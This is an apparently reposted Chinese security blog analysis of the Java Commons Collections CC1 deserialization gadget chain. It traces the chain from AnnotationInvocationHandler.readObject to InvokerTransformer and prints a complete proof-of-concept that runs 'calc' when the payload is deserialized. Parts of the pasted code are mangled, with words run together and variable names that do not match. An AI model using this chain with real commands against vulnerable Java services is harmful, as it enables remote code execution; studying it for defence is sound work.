【渗透知识】CC1利用链分析

admin 2025年2月13日09:07:17评论5 views字数 5545阅读18分29秒阅读模式
免责声明
请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不承担任何法律及连带责任。
简介 ]
——  其实很多你现在认为过不去的事情,实际在未来不会对你的生活和人生带来任何影响 ——

CC1利用链

序列化和反序列化是为了方便对象的传输和存储,利用序列化可以将Java对象转换为字节码可以将字节码存储在文件或在网络中进行传输,在需要恢复对象的时候可以利用反序列化将字节码恢复为对象。然而在反序列化的时候被反序列化的数据可控攻击者可以通过精心构造的恶意数据,在反序列化的时候触发恶意命令执行。在Java中执行命令的类包括了Runtime等,但是由于该类没有实现Serializable接口无法进行序列化,所以需要在Java内置的模块中寻找可控的方法通过反射的方式来调用Runtime执行恶意命令。

CC利用链便是比较经典的利用链,本文主要对CC1利用链的原理进行分析

漏洞信息

混子Hacker     

01

利用链简介

【渗透知识】CC1利用链分析

利用链的原理是:

1、AnnotationInvocationHandler.readObject()触发反序列化

2、AbstractInputCheckedMapDecorator#MapEntry.SetValue对checkSetValue()进行调用

3、利用TransformedMap.checkSetValue()对ChainedTransformer.transform()进行调用

4、利用ChainedTransformer.transform()对InvokerTransformer.transform()方法通过反射执行命令

混子Hacker

02

利用链分析

从后往前分析,首先需要找到能触发命令执行并且参数可控的地方

一、命令执行

InvokerTransformer

InvokerTransformer.transform()中发现该函数利用反射可以实现任意命令执行

【渗透知识】CC1利用链分析

InvokerTransformer类的构造函数中可以对

iMethodNameiArgsiParamTypes 三个参数实现控制,可以执行任意命令

【渗透知识】CC1利用链分析

ChainedTransformer

Runtime类没有继承Serializable类无法进行序列化,需要先使用反射获取Runtime对象,所以需要多次调用InvokerTransformer.transfom()进行利用

查询到ChainedTransformer ,该类实现了Transformer接口,其transform方法会将上一个对象的结果作为下一个对象的输入,与递归类似进行链式调用

【渗透知识】CC1利用链分析

它的构造函数接收Transformer类型的集合,满足要求

【渗透知识】CC1利用链分析

构造如下所示代码进行利用

Transformers[] transfomers = new Transformer[]{  new ConstantTransformer(Runtime.class),  //获取getRuntime方法  new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),  //执行getRuntime方法获取Runtime对象  new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),  //执行任意命令  new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

二、查找调用

TransformedMap

向上分析看哪个地方调用transform()方法,在TransformedMap.checkSetValue()方法中找到了调用,并且valueTransformerTransformedMap类的构造函数中可控

【渗透知识】CC1利用链分析

但是构造器和checkSetValue方法都是protected属性,也就是说无法在外部直接调用构造函数进行实例化对象,需要一个内部的public函数调用创建

查找发现decorate方法中存在对TransformedMap构造函数的调用进行创建对象,并且是public属性的,刚好满足要求

【渗透知识】CC1利用链分析

到此思路是利用反射获取TransformedMap类,调用其decorate实例化一个TransformedMap对象,将valueTransformer设置为ChainedTransformer

即如下所示

Transformers[] transfomers = new Transformer[]{  new ConstantTransformer(Runtime.class),  //获取getRuntime方法  new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),  //执行getRuntime方法获取Runtime对象  new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),  //执行任意命令  new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object,Object> map = new HashMap();map.put("aa","bb");Map<Object,Object> transformed = TransformedMap.decorate(map,null,chainedTransformer);

但是这里checksetVlue是protected属性无法直接调用所以代码还需要再找一个调用该函数的地方

MapEntry

向上分析checkSetValue()调用,在MapEntry.setValue()中存在调用parentcheckSetValue()方法,并且了解Map的都知道在entry就是在遍历Map时的键值对,可以通过getValueSetvalue对值进行操作,而这里正是对setValue这个方法进行了重写

TransformedMap的父类是AbstractInputCheckedMapDecorator

所以如果对TransformedMap的Map进行遍历,并调用entrySetValue方法会执行父类重写的方法,然后调用checkSetValue方法

(这里有点绕过看不懂的多理几遍就懂了)

【渗透知识】CC1利用链分析

整理一下代码如下

Transformers[] transfomers = newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",null}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,null}),newInvokerTransformer("exec",newClass[]{String.class}, newObject[]{"calc"})};ChainedTransformer chainedTransformer = newChainedTransformer(transformers);HashMap<Object,Object> map = newHashMap();map.put("aa","bb");Map<Object,Object> transformed = TransformedMap.decorate(map,null,chainedTransformer);for (Map.Entry<Object,Object> entry : transformed.entrySet()){  entry.setValue(null);}

运行当前的poc成功执行命令

【渗透知识】CC1利用链分析

三、查找反序列化入口

向上分析setValue的调用,最好是在readobject方法中

在AnnotationInvocationHandler发现存在调用并且是在readobject方法中满足要求,但是可以看到要想走到setValue的地方需要满足两个条件

1、memberType不为空

2、membervalue需要有值

【渗透知识】CC1利用链分析

在构造函数中可以看到传入了两个值一个是type一个是membervalues

【渗透知识】CC1利用链分析

第二个条件好理解就是传入TransformedMap.decorate()返回的Map即可

但是第一个条件则是通过传入的type经过如下获取到的memberType要满足不为空,大致的意思就是我们传入的注解值必须是存在的

annotationType = AnnotationType.getInstance(type);Map<Stringclass<?>> memberTypes = annotationType.memberTypes();String name = memberValue.getKey();Class<?>memberType =memberTypes.get(name);

但是这里还有一个问题就是构造函数没有写明访问修饰符,则默认为private也就是说我们无法直接通过构造函数创建对象,需要使用反射,并且这里传入的两个参数都是private的需要设置为可访问才可设置其值

最终的poc如下

Transformers[] transfomers = newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",null}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,null}),newInvokerTransformer("exec",newClass[]{String.class}, newObject[]{"calc"})};ChainedTransformerchainedTransformer=newChainedTransformer(transformers);HashMap<Object,Object> map = newHashMap();map.put("aa","bb");Map<Object,Object> transformed = TransformedMap.decorate(map,null,chainedTransformer);Class c=Class.*forName*("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class);constructor.setAccessible(true);Objecto= constructor.newInstance(Target.class,transformed);serialize(o);unserialize("ser.bin");publicstaticvoidserialize(Object obj)throws Exception {ObjectOutputStreamoos=newObjectOutputStream(newFileOutputStream("ser.bin"));  oos.writeObject(obj);}publicstatic Object unserialize(String Filename)throws Exception {ObjectInputStreamois=newObjectInputStream(newFileInputStream(Filename));Objectobj= ois.readObject();return obj;}

<<<  END >>>

原创文章|转载请附上原文出处链接

更多漏洞|关注作者查看

作者|混子Hacker

原文始发于微信公众号(混子Hacker):【渗透知识】CC1利用链分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月13日09:07:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【渗透知识】CC1利用链分析https://cn-sec.com/archives/3734309.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息